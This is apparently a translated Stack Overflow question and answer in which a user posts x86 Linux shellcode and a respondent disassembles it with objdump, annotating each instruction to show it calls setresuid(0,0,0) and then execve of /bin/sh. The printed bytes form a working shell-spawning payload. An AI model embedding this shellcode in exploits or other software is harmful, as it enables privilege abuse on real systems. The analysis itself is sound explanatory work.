2013-05-28 63 views
3

比方說,我給下面的shellcode:如何檢查給定shellcode執行的命令?

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

如何檢查是什麼意思/它所代表的ASM的指令? 謝謝:)

回答

9

編譯和反彙編它!對於你的例子:

$ cat example.c 
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 
$ make example.o 
cc -c -o example.o example.c 
$ objdump -D example.o 

example.o:  file format elf64-x86-64 


Disassembly of section .data: 

0000000000000000 <shellcode>: 
    0: 31 c0     xor %eax,%eax 
    2: 31 db     xor %ebx,%ebx 
    4: 31 c9     xor %ecx,%ecx 
    6: 99      cltd 
    7: b0 a4     mov $0xa4,%al 
    9: cd 80     int $0x80 
    b: 6a 0b     pushq $0xb 
    d: 58      pop %rax 
    e: 51      push %rcx 
    f: 68 2f 2f 73 68   pushq $0x68732f2f 
    14: 68 2f 62 69 6e   pushq $0x6e69622f 
    19: 89 e3     mov %esp,%ebx 
    1b: 51      push %rcx 
    1c: 89 e2     mov %esp,%edx 
    1e: 53      push %rbx 
    1f: 89 e1     mov %esp,%ecx 
    21: cd 80     int $0x80 
    ... 

的使用注意事項objdump-D標誌的拆卸所有部分,而不僅僅是它認爲可執行部分是。

至於什麼該代碼表示​​,我想我們可以把它分解一塊一塊的(從上面,與行內註釋):

xor %eax,%eax // clear eax register 
xor %ebx,%ebx // clear ebx register 
xor %ecx,%ecx // clear ecx register 
cltd    // clear edx register (via sign-extension of eax 
        //  - only a compiler would do this operation 
        //  in this way, I'd guess, so your shell code 
        //  probably wasn't hand-written 
mov $0xa4,%al // put 0xa4 (decimal 164) into eax 
int $0x80  // do system call. Syscall 164 is "sys_setresuid" 
        // - it takes three parameters, in ebx, ecx, and edx, 
        //  so in this case, it's calling sys_setresuid(0, 0, 0); 
pushq $0xb  // push constant 0xb (decimal 11) to the stack 
pop %rax  // pop it back into rax 
push %rcx  // push the 0 in rcx to the stack 
pushq $0x68732f2f // push constant to the stack (looks like ASCII? "//sh") 
pushq $0x6e69622f // push constant to the stack (looks like ASCII? "/bin") 
mov %esp,%ebx // put a pointer to this stack pushed stuff into ebx 
push %rcx  // push rcx again, it's still 0 
mov %esp,%edx // put a pointer to this 0 on the stack into edx 
push %rbx  // push rbx, it's 0 too 
mov %esp,%ecx // put a pointer to this 0 into ecx 
int $0x80  // system call again - this time, it's call 11, which is 
        // sys_execve. It takes a pointer to a filename to execute 
        // and two more pointers to the arguments and environment to 
        // pass 

所以這段代碼首先調用:

sys_setresuid(0, 0, 0) 

爲了賦予它自己的root權限,然後調用sys_execve()開始運行/bin/sh,給出一個shell提示符。

+0

謝謝Carl!很好的回答: 雖然有幾個問題: 你怎麼知道哪個系統調用「int」調用?我想這跟0x80有什麼關係,那是什麼? 我已經做了一些ASM,並開始尋找x86 intel的一個,所以這個與我所知道的有點不同(例如,我猜「int」相當於「call」)。 – Shookie

+0

'int 0x80'是一個軟件中斷,意思是「嘿內核我想做一個系統調用」。系統調用號碼在'eax'中。你可以很容易地谷歌搜索列表(這就是我所做的)。 –

+0

@Sookie這裏有一個很好的[Linux Syscall Reference](http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html)頁面。搜索系統調用號碼以查找相應的系統調用。 –